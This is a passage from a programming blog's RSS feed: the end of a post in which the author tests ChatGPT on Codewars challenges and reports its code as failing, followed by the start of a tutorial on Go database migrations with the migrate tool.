style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Este código fue generado por OpenAI-ChatGPT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; findReverseNumber(n) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;n; &lt;span style=&#34;color:#78787e&#34;&gt;// initialize a BigInt variable with the value 0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; found &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// El ajuste está aquí, n-1 en lugar de n&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;while&lt;/span&gt; (found &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; n&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (isPalindrome(i)) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      found&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; i;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; isPalindrome(num) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; str &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; num.toString();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; str.length &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (str[i] &lt;span style=&#34;color:#ff6ac1&#34;&gt;!==&lt;/span&gt; str[str.length &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, there is a small bug, despite producing the results correctly, the code fails the tests because the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/&#34;&gt;Big O performance&lt;/a&gt;&#xA; of the artificial intelligence is insufficient for the test.&lt;/p&gt;&#xA;&lt;p&gt;I tried to get the correct answer multiple times, even specifying the complexity of Big O with different inputs, but it was impossible to get the correct result.&lt;/p&gt;&#xA;&lt;h2 id=&#34;chatgpt-vs-regular-expression-for-binary-numbers-divisible-by-n-1-kyu&#34;&gt;ChatGPT vs Regular Expression for Binary Numbers Divisible by n (1 kyu)&lt;/h2&gt;&#xA;&lt;p&gt;The challenge of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5993c1d917bc97d05d000068&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Regular Expression for Binary Numbers Divisible by n&lt;/a&gt;&#xA; is: Create a function that returns a regular expression string capable of evaluating binary strings (consisting only of 1s and 0s) and determine whether the given string represents a number divisible by n.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/binary-division-ChatGPT.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/binary-division-ChatGPT.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Binary number division code using ChatGPT&#34; width=&#34;1920&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Binary number division code using ChatGPT&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;After asking for an answer, it returns a rather simple expression and even gives us a step-by-step explanation of the logical reasoning, apparently correct but, in practice, incorrect.&lt;/p&gt;&#xA;&lt;p&gt;The regular expression returned as a response is the following:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Este código fue generado por OpenAI-ChatGPT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;^&lt;/span&gt;[&lt;span style=&#34;color:#ff9f43&#34;&gt;01&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;\&lt;/span&gt;b(&lt;span style=&#34;color:#ff6ac1&#34;&gt;?:&lt;/span&gt;$){n}$&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;response-analysis-2&#34;&gt;Response analysis&lt;/h3&gt;&#xA;&lt;p&gt;When we test it in the codewars tests, it fails, obviously.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/binary-division-codewars.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/binary-division-codewars.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;An extra pair of braces is added to comply with Python F string syntax. False positives are due to the binary character in the response.&#34; width=&#34;1920&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;An extra pair of braces is added to comply with Python F string syntax. False positives are due to the binary character in the response.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;results-and-my-opinion&#34;&gt;Results and my opinion&lt;/h2&gt;&#xA;&lt;p&gt;The results are summarized in the following table:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Kata&lt;/th&gt;&#xA;          &lt;th&gt;Resultado&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;6 kyu&lt;/td&gt;&#xA;          &lt;td&gt;❌&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;4 kyu&lt;/td&gt;&#xA;          &lt;td&gt;✅&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1 kyu&lt;/td&gt;&#xA;          &lt;td&gt;❌&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Although ChatGPT got only one of the challenges right (and only half right), it is able to solve simple problems, which could also be solved with a google or stackoverflow search, this artificial intelligence is able to return a code that works, but not necessarily correct or efficient, but it is close.&lt;/p&gt;&#xA;&lt;p&gt;ChatGPT becomes quite inefficient with requests that require a more complex reasoning and seems unable to build a complex system, with many interacting parts, however I recognize that, for each question, it is able to return a syntactically correct and logical-looking answer, at least at first glance, giving us a false sense of security if we do not know the topic we are asking about. However, his answers can serve as a starting point.&lt;/p&gt;&#xA;&lt;h3 id=&#34;is-chatgpt-a-threat-to-programmers&#34;&gt;Is ChatGPT a threat to programmers?&lt;/h3&gt;&#xA;&lt;p&gt;Do I think ChatGPT represents is going to put a lot of jobs on the line? Yes, but also because we may be in the living the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;AI overhype era&lt;/a&gt;&#xA; I think ChatGPT will trouble most jobs (not necessarily those related to code) that are not challenging and whose difficulty lies in a simple google search, or automatable tasks, requiring simple reasoning. However, I believe that it is not the veracity of its answers, but its chat-like interface, and the immediacy of its answers, that could make it quite popular.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;ChatGPT is breaking with everything previously known in artificial intelligence, some developers are worried that it may replace them in their jobs, just as Github Copilot threatened at the time. In this post I test &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/&#34;&gt;ChatGPT&amp;rsquo;s supposed intelligence&lt;/a&gt;&#xA; against three codewars challenges.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-codewars-work&#34;&gt;How does Codewars work?&lt;/h2&gt;&#xA;&lt;p&gt;Before we start you need to understand that &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Codewars&lt;/a&gt;&#xA; is a social network for programmers where code challenges written by the same users are shared. Each challenge can be tested with a series of tests and, if it passes all of them, the challenge is considered completed. These challenges are called katas.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go Migration Tutorial with migrate</title>
      <link>https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/</link>
      <pubDate>Fri, 25 Nov 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/</guid>
      
      <category>go</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In frameworks like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django, migrations are created automatically&lt;/a&gt;&#xA;, from the models. However, in languages like go, as long as we are not using an ORM, migrations will be done manually.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;what-is-a-database-migration&#34;&gt;What is a database migration?&lt;/h2&gt;&#xA;&lt;p&gt;A migration is an abstraction to manage the state and changes that occur in a database. Instead of executing SQL statements one by one manually, we automate the process by writing all the necessary SQL and running it automatically.&lt;/p&gt;&#xA;&lt;p&gt;A migration consists of two files with SQL statements:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;file up: To make changes in the database.&lt;/li&gt;&#xA;&lt;li&gt;down file: To revert changes in the database.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;For this case they are called up and down, but you could give them any other names; such as forward and backward, or next and previous.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/images/migrations-in-go.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/images/migrations-in-go.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Manually generated migration files&#34; width=&#34;1200&#34; height=&#34;700&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Manually generated migration files&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;migrations-are-complementary&#34;&gt;Migrations are complementary&lt;/h3&gt;&#xA;&lt;p&gt;Notice how the migrations are reversible and complementary; one performs an action and the other reverts it.&lt;/p&gt;&#xA;&lt;p&gt;Following this logic we can make changes to the database and then revert them.&lt;/p&gt;&#xA;&lt;p&gt;These two files can be generated automatically (as in the case of Django, from the models) or we can write them directly in SQL, as in the case of go.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;migrate-installation&#34;&gt;Migrate installation&lt;/h2&gt;&#xA;&lt;p&gt;To handle migrations we are going to use a tool called &lt;em&gt;migrate&lt;/em&gt;, written in go.&lt;/p&gt;&#xA;&lt;p&gt;Migrate can be downloaded directly from their &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/golang-migrate/migrate/releases&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;github releases section&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -L https://github.com/golang-migrate/migrate/releases/download/v4.15.2/migrate.linux-amd64.tar.gz | tar xvz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mv migrate.linux-amd64 &lt;span style=&#34;color:#ff5c57&#34;&gt;$GOPATH&lt;/span&gt;/bin/migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;In new versions of Go feel free to just use:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go install -tags &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sqlite3&amp;#39;&lt;/span&gt; github.com/golang-migrate/migrate/v4/cmd/migrate@latest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You should then be able to see which version you have installed.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -version&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4.15.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;migration-files-creation-with-migrate-in-go&#34;&gt;Migration files creation with migrate in Go&lt;/h2&gt;&#xA;&lt;p&gt;To create the pair of migration files, which I told you about earlier, we run the following command:&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate create -seq -ext&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;.sql -dir&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;./migrations &amp;lt;migration_name&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I explain what each flag does:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;seq: indicates that it will be sequential, so that it begins with 000001 and continues until 00000n; the total of migrations that we have.&lt;/li&gt;&#xA;&lt;li&gt;dir: will indicate the directory&lt;/li&gt;&#xA;&lt;li&gt;ext: the extension of the file, in this case sql.&lt;/li&gt;&#xA;&lt;li&gt;At the end the name we want the migration to have. I will use create_first_table for this example.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;After executing the command, you will have two migration files, one with extension &lt;em&gt;.up.sql&lt;/em&gt; and the other with extension &lt;em&gt;.down.sql&lt;/em&gt; inside the migrations folder.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;000001_create_first_table.up.sql 000001_create_first_table.down.sql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;These files must be edited manually and the SQL statements must be placed inside them.&lt;/p&gt;&#xA;&lt;h3 id=&#34;example-of-migrations-in-go-with-postgres&#34;&gt;Example of migrations in go with postgres&lt;/h3&gt;&#xA;&lt;p&gt;For example, to create a hypothetical table &lt;em&gt;users&lt;/em&gt; in a postgres database:&lt;/p&gt;&#xA;&lt;p&gt;For the up:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TABLE&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;users&amp;#34;&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;serial&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span 